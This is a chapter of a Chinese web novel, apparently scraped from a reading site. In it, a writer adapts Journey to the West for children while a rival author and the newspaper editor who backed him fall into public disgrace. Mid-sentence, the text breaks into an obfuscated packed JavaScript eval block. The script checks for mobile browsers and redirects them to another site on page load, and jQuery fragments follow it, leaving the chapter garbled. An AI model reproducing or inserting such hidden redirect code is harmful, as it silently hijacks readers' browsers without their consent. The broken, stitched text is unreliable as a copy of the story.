杨金穗最近在重读《西游记》,并进行儿童向改编,还多了四个小小听众,分别是自家一双侄子侄女,和南格的一对弟妹。
要说起来,杨金穗上辈子虽然遍览《西游记》的动画、电影、电视剧,以及一些诸如《西游记后传》《太白金星有点烦》之类的旧瓶装新酒的衍生故事,但还真的没看过西游记原著。
她想,或许这是他们那个时候的共同情况,娱乐方式实在太多了,也有太多创作者把文学名著解构重塑成大众能轻松看懂的东西,反而让读者和名著的距离变远了。
就(=@__@=)哪里拿《西游记》来说,前世的杨金穗,长大后看了其他三部名著,反而是“最熟悉”的《西游记》,她没有看。
大概是这种心理吧,我比我看到你之前更早认识你,那好像就没什么兴趣去真正认识你了。
而这一世呢,因为可读的东西很少,杨金穗还真的从头到尾看过原著,还不止一次。
当然了,也很突破她的固有印象就是了。
难怪有那么多人爱探讨《西游记》的厚黑学,以及那些神仙妖怪背后的隐喻,原来是真的细思极恐啊。
而这些部分,在进行白话版本的改编时,当然是要大幅度删掉的。
虽然没必要让儿童们生活在绝对真空的假善美环境,但也没必要写那么多成年人看了都觉得恐怖的情节,你说是吧,狮驼岭。
为了把握好尺度,杨金穗干脆把自家和南家的四个适龄受众群体薅过来听故事,通过他们的反馈来调整情节的设置。
而在杨金穗投入《西游记》发了狠、忘了情、不知天地为何物的时候,妙笔生翻车了。
杨金穗属于记仇、但记不久的人。可能是因为从小到大的确没碰到什么有深仇大恨的人物吧,她总是生过气后就结束,不怎么关注对方的下场,反正不管对方下场怎么样,她过得好就行了。
对妙笔生这个老登,杨金穗也是同样的态度,她的《楚惊鸿探幽录》开售并大卖,她的《凡骨初登修仙途》火热连载,她还参与了《少年志》的创刊......
妙笔生是否春风得意,杨金穗不知道,反正她挺春风得意的。
人一顺利,日子过得一充实,就没什么功夫关心别人的事。
而相反的,人一不顺,就很容易咬着牙紧盯别人过得怎么样,尤其是对妙笔生这种人来说,一旦别人过得好,他就要在心中反复咀嚼,嫉恨别人走了狗屎运,也深恨自己怀才不遇,最终进退失据。
要说呢,《王傲君探案录》的市场反响其实是比妙笔生之前的□□好一些,毕竟受众更广嘛。又满足了一些读者对武侠结合探案的小说的需求。
但是,人不怕和自己比,就怕和旁人比。
妙笔生就要和身是客比。
他纵横文坛二十余载,写了不下百万字,发表的小说一只手都数不过来。
他文坛内人脉无数,比如《文艺报》主编,就是他的至交好友;文坛大家周培安,是他的私淑先生(即他自认为自己是仰慕但未能从学的周培安的弟子)。
而那身是客呢,黄口小儿,无知女子,见识浅薄,还毫不谦虚,小小年纪不懂得厚积薄发,非要写书!非要出版!非要公开身份!
在这样的攀比之心下,妙笔生就对《王傲君探案录》的成绩很不满意了,为什么没有超越身是客?
明明他的文笔更老练,明明他的小说有更多风流韵事,按理说是很讨中年男读者喜欢的呀。
但不管他怎么百思不得其解,《王傲君探案录》的成绩还是不如人。
甚至随着《文艺报》关于杨金穗的采访稿(无删减版)上报后,她隐晦指出来的问题也引发了业内同行的关注。
民国,是个混乱的年代,任何极与极的思想都在这个时代发生着碰撞,而大奸大恶之人与大美大善之人,也共同生长在这片土地上。
也因此,最民族自卑甚至到了恨国卖国的一群人,也和最敢于牺牲甘于牺牲的爱国者生活在一个时空。
前者自然是不觉得妙笔生有错的,而后者,却不愿意见到本该启迪民智的报刊,被这样的东西充斥其上。
舆论渐渐起来了,尤其是随着情节的推进,原本还不明显的倾向就更明显了。
再加上一些文人的批评,很多热血的青少年干脆抵制起了这本书。
而普罗大众们,有对这些并不敏感只想看点东西打发时间的,但更多的是受过外国人欺负或者有着纯粹的爱国之心的,他们也开始放弃追读《王傲君探案录》了。
隔壁《京报》连载的《凡骨初登修仙途》明明更新奇更好看嘛。
若是想看武侠,还有那么多原本的武侠名家在写作,水平保持得很好。
即使就是想看武侠结合探案,《楚惊鸿探幽录》也发售了,追连载和一口气看完是两种感觉,完全可以重温一下嘛。
更何况,由杨金穗重新带热的,武侠结合探案的风格,也逐渐有其他作家开始写了。
能被报社们选中的,写得都不差,又没有妙笔生的那些争议,反正都是看,为什么要看让自己心里有疙瘩的?
更何况,随着《王傲君探案录》中是否存在弱化家国仇恨甚至为侵略者站台的讨论兴起,阅读正流行作品所带来的社交价值也被大大削弱了。
原本呢,和熟悉的人、不熟悉的人讨论新近流行的书籍、电影、话剧,能迅速打破社交隔阂,通过彼此都感兴趣的话题了解彼此的价值观和审美倾向。
在这个时候,如果你没看,会有种被排除在话题之外的感觉。尤其是对青少年来说,加入群体讨论是很重要的社交课程。
此外,推荐自己喜欢的小说给其他人并被接受,这也是对自己文化素养的认可,为了这种认可,会有很多读者自愿充当自来水。
这也是之前《楚惊鸿探幽录》的讨论度上来后,会有越来越多人加入读者队伍的原因。
而现在呢,《王傲君探案录》的名声变得不好听了,很多人即使在看,也不好意思拿出去讲了,生怕别人认为自己是在认同妙笔生的价值观。
至于推荐给其他朋友,那更是不愿意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791315|185224||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
在这样的恶性循环之下,可以预见的是,《文艺报》的销量也受了影响。
彼时,一力支持妙笔生的主编还在任上,虽然想支持朋友,到底更看重自己的事业。
也提出了让妙笔生修改后续情节,趁着小说还没连载到大结局,迅速转换一下设定,把主角王傲君之前的种种行为反转成忍辱负重、卧薪尝胆。
但是,一方面是前面情节铺设那么多,很难改;另一方面,《文艺报》编辑部的其他人也不赞同。
本来呢,因为主编和妙笔生的私人关系,以及最近越来越难以掩饰的报社内部矛盾,业内也都流传开了,是主编一力支持了妙笔生,才造成今日的局面。
要解决这件事也很简单,停止更新《王傲君探案录》,然后主编引咎辞职即可。
现在主编还想苟一苟,真让他苟住了怎么办?
而且读者也不是傻子,转折这么生硬,明眼人也能看出来《文艺报》在故意大事化小,保住妙笔生,那到时候其他编辑也会被认为是和主编他们沆瀣一气。
没半分好处,还要跟着一起挨骂,别说资深编辑了,就是诸如李记者这样没什么话语权的新人,也是心中愤愤。
在这样的内部情绪下,很快就有越来越多的内部人士爆料被刊登在报纸上。
妙笔生能写下这样的文字,多少也可以一窥他的真实想法。
而主编迟迟不采取果断措施,其实也证明,他觉得这事问题不大。
他们以往难免有一些不恰当的言论,甚至是在一些作品里,都有体现。
前面说过了,妙笔生主要是写□□的,且是男主角走两步就遇到一段露水姻缘的那种,其中虽然也有些情节,但也是为艳情服务。
即使存在一些,诸如吹捧外国、贬低本国的言论,但相对模糊,能捉出来骂他几句,但也就这样了。
倒是有他的一些业内好友,匿名爆料过他在聚会上说的一些言论,但真实性也很难辨别。
业内的权威报纸其实是不会刊登这些爆料的,毕竟真实性很难得到证实的前提下,难免有诬陷同行的嫌疑。
但是业内的中小型报纸,是没这个顾忌的。
这瓜热腾腾的,新鲜又量大,甘甜又美味,他们作为阅遍千瓜的行内人士都觉得有意思,忍不住在闲暇时间参与讨论,更何况是没见识过这些的百姓呢。
必须得发。
在这方面,主编的问题反而更大一些。
就像冯知明一样,主业是主编,但同时也会写文章,《文艺报》的主编也是如此,能做主编,文字功底也是有的,又广交朋友,经常参加各种聚会,努力结识名流,特别是国外的人。
他难免要写点小诗唱和一番,写点文章吹捧一下“群贤毕至,少长咸集”.....
能被抓的小辫子就多了起来,而且都是公开刊登过的。
再加上私德也不是很修。
比如,妙笔生的一位朋友就公开爆料,他曾与老师的妻子偷情,此事在《王傲君探案录》中亦有记载。